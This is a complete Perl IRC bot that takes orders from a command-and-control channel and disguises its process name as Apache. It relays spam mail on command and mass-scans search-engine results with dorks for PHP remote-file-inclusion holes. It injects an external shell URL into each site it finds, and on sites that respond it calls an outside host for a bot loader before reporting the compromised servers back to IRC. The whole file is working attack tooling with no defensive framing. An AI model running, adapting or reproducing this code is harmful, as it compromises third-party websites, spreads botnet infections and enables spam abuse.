#!/usr/bin/perl
#udp @ irc.mildnet.org


use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;


my $processo = "/usr/local/apache/bin/httpd -DSSL";
my $cmd="http://www.catim.com/legislacao/.bht/r57.jpg?";

#http://adsl.hexabyte.tn/n-joy/modules/xxxxxxx/htaccess
#http://www.jena-plan.de/contenido/includes/install-log
#http://pilliciyiz.biz/logs/httpdocs
#http://www.sc-funclan.de/sandbox-combatcrew/templates/event_message_37.txt
#http://www.burning-souls.net/cache/htaccess
#http://www.aeronautica.gob.pa/modules/MambWeather/Savant2/infect.txt";

my $server="irc.epro-team.net";
my $porta="6667";
#
my $canale="#epro";
#
my $canalog = $canale;

#if ($ARGV[0]) {
#$sitee = $ARGV[0];
#}

if ($ARGV[0]) {
$canale = $ARGV[0];
}

#if ($ARGV[1]) {
#$porta = $ARGV[1];
#}

#if ($ARGV[2]) {
#$canale = $ARGV[2];
#}

#if ($ARGV[3]) {
#$canalog = $ARGV[3];
#}

my $nick="[EPRO]2scan".int(rand(100));
#udp crew ;)
my $verbot = "6.51";
my $pid=fork;
exit if $pid;
$0="$processo"."\0"x16;
my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
$sk->autoflush(1);
print $sk "NICK $nick\r\n";
print $sk "USER infects 8 *  : UDP Crew.\r\n";
print $sk "JOIN $canale\r\n";
print $sk "JOIN $canalog\r\n";

while($line = <$sk>){

$line =~ s/\r\n$//;
if ($line=~ /^PING \:(.*)/)
{
print "PONG :$1";
print $sk "PONG :$1";
}

if ($line=~ /PRIVMSG $canale :.some/){
stampa($sk, "QUIT");
}

if ($line=~ /PRIVMSG $canale :.sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
#stampa($sk, "PRIVMSG $canale :12[4@Mailer12] Sending Mail to :2 $3");
$subject = $1;
$sender = $2;
$recipient = $3; 
@corpo = $4;
$mailtype = "content-type: text/html";
$sendmail = '/usr/sbin/sendmail';
open (SENDMAIL, "| $sendmail -t");
print SENDMAIL "$mailtype\n";
print SENDMAIL "Subject: $subject\n"; 
print SENDMAIL "From: $sender\n";
print SENDMAIL "To: $recipient\n\n";
print SENDMAIL "@corpo\n\n";
close (SENDMAIL);
stampa($sk, "PRIVMSG $canale :4+1Mailer : Mail Sended To :2 $recipient"); 
}

if ($line=~ /PRIVMSG $canale :.help/){
stampa($sk, "PRIVMSG $canale :4+1Help4 + 1To start scan type4: !1scan 14vuln1.php?string= 14dork");
stampa($sk, "PRIVMSG $canale :4+Help4 + 1Last Bugs on 14milw0rm.com1 4: 4.1milw0rm");
stampa($sk, "PRIVMSG $canale :4+Help4 + 1Send Mail : .1sendmail 4<1subject4> <1sender4> <1recipient4> <1message4>");
stampa($sk, "PRIVMSG $canale :4+help 4+ System Infos : 4.1info");
}

if ($line=~ /PRIVMSG $canale :.info/){
my $sysos = `uname -sr`;
my $uptime = `uptime`;
if ($sysos =~ /freebsd/i ) {
$sysname = `hostname`;
$memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;
$swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`;
chomp($memory);
chomp($swap);
}
elsif ( $sysos =~ /linux/i ) {
$sysname = `hostname -f`;
$memory = `free -m |grep -i mem | awk '{print \$2}'`;
$swap = `free -m |grep -i swap | awk '{print \$2}'`;
chomp($swap);
chomp($memory);
}
else {
$sysname ="No Found";;
$memory ="No found";
$swap ="No Found";
}
$uptime=~s/\n//g;
$sysname=~s/\n//g;
$sysos=~s/\n//g;
stampa($sk, "PRIVMSG $canale :4(Informaes15\14 Server7: $server - $porta");
stampa($sk, "PRIVMSG $canale :4(Informaes15\14 SO7/14Hostname7: $sysos - $sysname");
stampa($sk, "PRIVMSG $canale :4(Informaes15\ 14Processo7/14PID7: $processo - $$");
stampa($sk, "PRIVMSG $canale :4(Informaes15\ 14Uptime7: $uptime");
stampa($sk, "PRIVMSG $canale :4(Informaes15\ 14Memoria7/14Swap7: $memory - $swap");
stampa($sk, "PRIVMSG $canale :4(Informaes15\ 14Perl Version7/14BOT7: $] - $verbot");
}

if ($line=~ /PRIVMSG $canale :.engine/){
stampa($sk, "PRIVMSG $canale :4+1Engines 4: 14Google4,14 MSN4,14 Altavista4,14 Alltheweb4,14 ASK4,14 UOL4,14 Mamma4,14 Hotbot4,14 Achando4,14 Sitedebusca4,14 Search4,14 Lycos4,14 Fireball4.");
}

if ($line=~ /PRIVMSG $canale :.creditos/){
stampa($sk, "PRIVMSG $canale :4+1Crditos 4+ 71Blu3H474, enemy4, daemoN7.");
}

if ($line=~ /PRIVMSG $canale :.strings/){
stampa($sk, "PRIVMSG $canale :4+1Strings 4: 14http://www.wsteam.net/strings.txt");
}

if ($line=~ /PRIVMSG $canale :.milw0rm/){
my @ltt=();
my @bug=();
my $x;
my $page="";
my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$socke>;
$page="@r";
close($socke);
while ($page =~  m/<title>(.*)</g){
$x = $1;
if ($x =~ /\<\;/) {
$x =~ s/\<\;/</g;
}
if ($x !~ /milw0rm/) {
push (@bug,$x);
}}
while ($page =~  m/<link.*expl.*([0-9]...)</g) {
if ($1 !~ m/milw0rm.com|exploits|en/){
push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
}}
stampa($sk, "PRIVMSG $canale :4+1milw0rm15\ 14ultimos Bugs7.");
foreach $x (0..(@ltt - 1)) {
stampa($sk, "PRIVMSG $canale :4+1milw0rm 14ultimos Bugs 7- $bug[$x] - $ltt[$x]");
sleep 1;
}}

if ($line=~ /PRIVMSG $canale :.scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;


if ($dork =~ /inurl:/ ) {
stampa($sk, "PRIVMSG $canale :4+1Scan Banned: 4inurl: 14Dont Use inurl, allinurl, intext etc !4..");
exit; 
}

elsif ($dork =~ /allinurl:/ ) {
stampa($sk, "PRIVMSG $canale :4+1Scan Banned: 4allinurl: 14Dont Use inurl, allinurl, intext etc !4..");
exit; 
}

elsif ($dork =~ /allintitle:/ ) {
stampa($sk, "PRIVMSG $canale :4+1Scan Banned: 4allintitle: 14Dont Use inurl, allinurl, intext etc !4..");
exit; 
}

elsif ($dork =~ /intitle:/ ) {
stampa($sk, "PRIVMSG $canale :4+1Scan Banned: 4intitle: 14Dont Use inurl, allinurl, intext etc !4..");
exit; 
}

#elsif ($dork =~ /site:/ ) {
#stampa($sk, "PRIVMSG $canale :4+1Scan Banned: 4site: 14Dont Use inurl, allinurl, intext etc !4..");
#exit; 
#}

if ($dork =~ /wordpress/ ) {
stampa($sk, "PRIVMSG $canale :4+1Scan Banned: 14Fuck WordPress !4..");
exit; 
}

if ($dork =~ /wp-pass.php/ ) {
stampa($sk, "PRIVMSG $canale :4+1Scan Banned: 14Fuck WordPress !4..");
exit; 
}

if ($bug =~ /japanese.php/ ) {
stampa($sk, "PRIVMSG $canale :4+1Scan Banned: 14Fuck japanese.php !4..");
exit; 
}

if ($bug =~ /french.php/ ) {
stampa($sk, "PRIVMSG $canale :4+1Scan Banned: 14Fuck french.php !4..");
exit; 
}

if ($bug =~ /german.php/ ) {
stampa($sk, "PRIVMSG $canale :4+1Scan Banned: 14Fuck german.php !4..");
exit; 
}

if ($bug =~ /english.php/ ) {
stampa($sk, "PRIVMSG $canale :4+1Scan Banned: 14Fuck english.php !4..");
exit; 
}

if ($bug =~ /=/) {} 
else { 
stampa($sk, "PRIVMSG $canale :4+1Scan Banned: 4 : 14Dont Use inurl, allinurl, intext etc !4..");
exit; 
}


#if ($ARGV[0]) {$dork.="+site:".$ARGV[0];}
my $contatore=0;
my ($type,$space,$OS);
my %hosts;
#stampa($sk, "PRIVMSG $canale :4- Dork $dork");
#stampa($sk, "PRIVMSG $canale :4- Bug $bug");
stampa($sk, "PRIVMSG $canalog :4- Status - iniciando a varredura nos sistemas de busca...");
my @glist=&googlet($dork);

my @ylist=&yahoo($dork);

#my @mozlist=&mozbot($dork);

stampa($sk, "PRIVMSG $canalog :4+1Status 14Searching 20% complete4 $dork");

my @malist=&Mamma($dork);

my @mlist=&msn($dork);

stampa($sk, "PRIVMSG $canalog :4+1Status 14Searching 40% complete4 $dork");

my @hotlist=&HotBot($dork);

my @achlist=&Achando($dork);

my @sbulist=&sitedebusca($dork);

stampa($sk, "PRIVMSG $canalog :4+1Status 14Searching 60% complete4 $dork");

#altavista
my @alta1=&altavista($dork);
my @alta2=&altavistade($dork);
my @alta3=&altavistaus($dork);
push(my @alist, @alta1, @alta2, @alta3);
#

my @selist=&Search($dork);

my @lylist=&Lycos($dork);

#alltheweb
my @allist1=&allthewebt($dork);
my @allist2=&standard($dork);
push(my @allist, @allist1, @allist2);
#
stampa($sk, "PRIVMSG $canalog :4+1Status 14Searching 80% complete4 $dork");
my @asklist=&ask($dork);

my @uollist=&uol($dork);

my @firelist=&FireBall($dork);
stampa($sk, "PRIVMSG $canalog :4+1Status Trabalhando com Dork:14 $dork");                                                     #   4+1Katatudo (".scalar(@kalist).") 4+1Gigablast (".scalar(@giglist).")                                                                                                                          #4+1Jekoo (".scalar(@jelist).")
stampa($sk, "PRIVMSG $canalog :4+1Google (".scalar(@glist).") 4+1Yahoo (".scalar(@ylist).") 4+1Mamma (".scalar(@malist).") 4+1MSN (".scalar(@mlist).") 4+1HotBot (".scalar(@hotlist).") 4+1Achando (".scalar(@achlist).") 4+1Sitedebusca (".scalar(@sbulist).") 4+1Altavista (".scalar(@alist).") 4+1Search (".scalar(@selist).") 4+1Lycos (".scalar(@lylist).") 4+1Alltheweb (".scalar(@allist).") 4+1Ask (".scalar(@asklist).") 4+1Uol (".scalar(@uollist).") 4+1FireBall (".scalar(@firelist).")");

push(my @tot, @glist, @ylist, @malist, @mlist, @hotlist, @achlist, @sbulist, @alist, @selist, @lylist, @allist,@asklist,@uollist,@firelist);
stampa($sk, "PRIVMSG $canalog :4+1Status - Total Encontrado: ".scalar(@tot)." 14Sites4...");
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canalog :4+1Script - Apagando: ".scalar(@puliti)." 14Sites4...");
stampa($sk, "PRIVMSG $canalog :4+1Status - Testando Vulnerabilidade4...");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
#stampa($sk, "PRIVMSG $canalog :4+1Status 1Testando14: ".$contatore." 1de14 ".$uni. " 14Sites4...");
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canalog :4+1Status: 1Scanner Finalizado 4- 1Dork:14 $dork");
}
my $test="http://".$sito.$bug.$cmd."?";
my $botload="http://wsteam.net/bt/var.txt"."?";
my $print="http://".$sito.$bug."http://www.wsteam.net/include.c"."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /Blu3H47/ && $re =~ /uid=/){
#my $punked="http://scanbr.awardspace.com/x.php?off=$print";
my $poster=HTTP::Request->new(GET=>$botload);
my $resa=$ua->request($poster);
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space,$OS)=split(/\,/,$x);
stampa($sk, "PRIVMSG $canale :4+1Safe Mode 4OFF 1Type4:14 $type, 1System4:14 $space, 1Free4:14 $OS, 1Vuln4:14 $print ");
#stampa($sk, "PRIVMSG $canale :1(12Informao1)12 $OS  ");
}}
elsif($re =~ /Blu3H47/)
{
#my $punked1="http://scanbr.awardspace.com/x.php?on=$print";
my $poster1=HTTP::Request->new(GET=>$botload);
my $resa=$ua->request($poster1);
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space,$os)=split(/\,/,$x);
stampa($sk, "PRIVMSG $canale :4+1Safe Mode 3ON 1Type4:14 $type, 1System4:14 $space, 1Free4:14 $OS, 1Vuln4:14 $print ");
#stampa($sk, "PRIVMSG $canale :1(12Informao1)12 $OS  ");
#stampa($sk, "PRIVMSG $canale :1VULN12: 1> 12$print");

}}
}}}
exit;
}}}


sub stampa()
{
if ($#_ == '1') {
my $sk = $_[0];
print $sk "$_[1]\n";
} else {
print $sk "$_[0]\n";
}}

sub os(){
my $sito=$_[0];
my $Res=query($sito);
my $type;
my $free;
my $kernel;
my $str;
while($Res=~m/<br>OSTYPE:(.+?)\<br>/g){
$type=$1;
}
while($Res=~m/<br>Free:(.+?)\<br>/g){
$free=$1;
}
while($Res=~m/<br>Kernel:(.+?)\<br>/g){
$kernel=$1;
}
$str=$type.",".$kernel.",".$free;
return $str;
}

sub FireBall(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $fire=("http://suche.fireball.de/cgi-bin/pursuit?cat=fb_loc&x=361&y=34&query=".key($key)."");
my $Res=query($fire);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /FireBall/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub mirago(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.mirago.co.uk/scripts/qhandler.aspx?qry=".key($key)."&x=51&y=10&ass=1285");
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /Mirago/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub HotBot(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://search.hotbot.co.uk/cgi-bin/pursuit?SITE=uk&cat=hb_loc&enc=utf-8&query=".key($key)."");
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /HotBot/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub Katatudo(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://afiliados.katatudo.com.br/busca/busca.php?base=web&tag=KATATUDO&layout_sel=layout_simples&tema_sel=padrao&q=".key($key)."");
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /Katatudo/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub Gigablast(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.gigablast.com/search?q=".key($key)."&n=10&k2g=160382");
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /Gigablast/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub Achando(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.achando.net/dir/busca/".key($key)."/");
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /Aonde/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub sitedebusca(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.sitedebusca.com/busca.php?busca=".key($key)."".$b);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /sitedebusca/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub Lycos(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://search.lycos.com/?query=".key($key)."&x=56&y=19");
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /Lycos/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub Jekoo(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.jekoo.com/search.asp?cln=&mkt=uk&src=1&adv=&key=&ksc=".key($key)."&submit.x=26&submit.y=8");
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /Jekoo/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub Aonde(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://busca.aonde.com/?keys=".key($key)."&search_type=and&submit=Buscar");
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /Aonde/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub mozbot() 
{ 
my @lst; 
my $key=$_[0]; 
my $i=0; 
my $pg=0; 
for($i=0; $i<=100; $i+=1) 
{ 

my $go=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i); 
my $Res=query($go); 
while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){ 
my $k=$1; 
$k=~s/ //g; 
my @grep=links($k); 
push(@lst,@grep); 
}

if ($Res =~ /Cliquez ici pour effectuer/)
{return @lst;}

} 
return @lst; 


}

#####
# SUBS GOOGLE
#####
sub googlet {
my @dominios = ("ae","com.ar","at","com.au","be","com.br","ca");
my @country = ("AE","AR","AT","AU","BE","BR","CA","CH","CL","DE","DK");
my @lst;
my $key=key($_[0]);
my $c=0;
foreach my $i (@dominios){
my @lista = google($i,$key,$country[$c]);
push(@lst,@lista);
$c++;
}
return @lst;
}
sub google(){
my @lst;
my $i=$_[0];
my $key=$_[1];
my $country =$_[2];
for($b=0;$b<=100;$b+=100){
my $Go=("www.google.".$i."/search?hl=en&q=".key($key)."&num=100&start=".$b."&meta=cr%3Dcountry".$country);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}


#sub google(){
#my @lst;
#my $i=$_[0];
#my $key=$_[1];
#my $country =$_[2];
#for($b=0;$b<=100;$b+=100){
#my $Go=("www.google.".$i."/search?hl=en&q=".key($key)."&num=100&start=".$b."&meta=cr%3Dcountry".$country);
#my $Res=query($Go);
#while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
#if ($1 !~ /google/){
#my $k=$1;
#my @grep=links($k);
#push(@lst,@grep);
#}}}
#return @lst;
#}

sub Mamma(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.mamma.com/Mamma?utfout=1&qtype=0&query=".key($key)."&Submit=%C2%A0%C2%A0Search%C2%A0%C2%A0");
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /Mamma/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

#####
# SUBS AltaVista
#####
sub altavista(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub altavistade(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub altavistaus(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub msn(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub Search(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.search.com/search?q=".key($key)."");
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /Search/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub ask(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
my $k=$3;
$k=~s/[\"\ ]//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

#sub alltheweb()
#{
#my @lst;
#my $key=$_[0];
#my $i=0;
#my $pg=0;
#for($i=0; $i<=1000; $i+=100)
#{
#my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
#my $Res=query($all);
#while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
#my $k=$1;
#$k=~s/ //g;
#my @grep=links($k);
#push(@lst,@grep);
#}}
#return @lst;
#}

### ALL THE WEB
sub allthewebt {
my @lang = ("en","es","de","nl","pt-BR","it","de","fo");
my @lst;
my $key=key($_[0]);
my $c=0;
foreach my $lang (@lang){
my @lista = alltheweb($key,$lang[$c]);
push(@lst,@lista);
$c++;
}
return @lst;
}
sub alltheweb(){
my @lista;
my $key = $_[0];
my $lang= $_[1];
for($b=0;$b<=500;$b+=100){
my $alltheweb=("http://www.alltheweb.com/search?cat=web&_sb_lang=".$lang."&hits=100&q=".key($key)."&o=".$b);
my $Res=query($alltheweb);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub standard()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
my $Res=query($all);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}


sub yahoo(){ 
my @lst; 
my $key = $_[0]; 
for($b=1;$b<=3000;$b+=100){ 
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b); 
my $Res=query($Ya); 
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1; 
$k=~s/<b>//g; 
$k=~s/<\/b>//g; 
$k=~s/<wbr>//g; 
my @grep=links($k); 
push(@lst,@grep);}} 
return @lst;} 

sub uol(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
my $Res=query($UoL);
while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
my $k=$1;
if($k!~/busca|uol|yahoo/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub links()
{
my @l;
my $link=$_[0];
my $host=$_[0];
my $hdir=$_[0];
$hdir=~s/(.*)\/[^\/]*$/\1/;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host.="/";
$link.="/";
$hdir.="/";
$host=~s/\/\//\//g;
$hdir=~s/\/\//\//g;
$link=~s/\/\//\//g;
push(@l,$link,$host,$hdir);
return @l;
}

sub geths(){
my $host=$_[0];
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
return $host;
}

sub key(){
my $chiave=$_[0];
$chiave =~ s/ /\+/g;
$chiave =~ s/:/\%3A/g;
$chiave =~ s/\//\%2F/g;
$chiave =~ s/&/\%26/g;
$chiave =~ s/\"/\%22/g;
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
}

sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}

sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
next if $visti{ $elemento }++;
push @unici, $elemento;
}
return @unici;
}



#root@wsteam.net
#UDP Crew
#irc.mildnet.org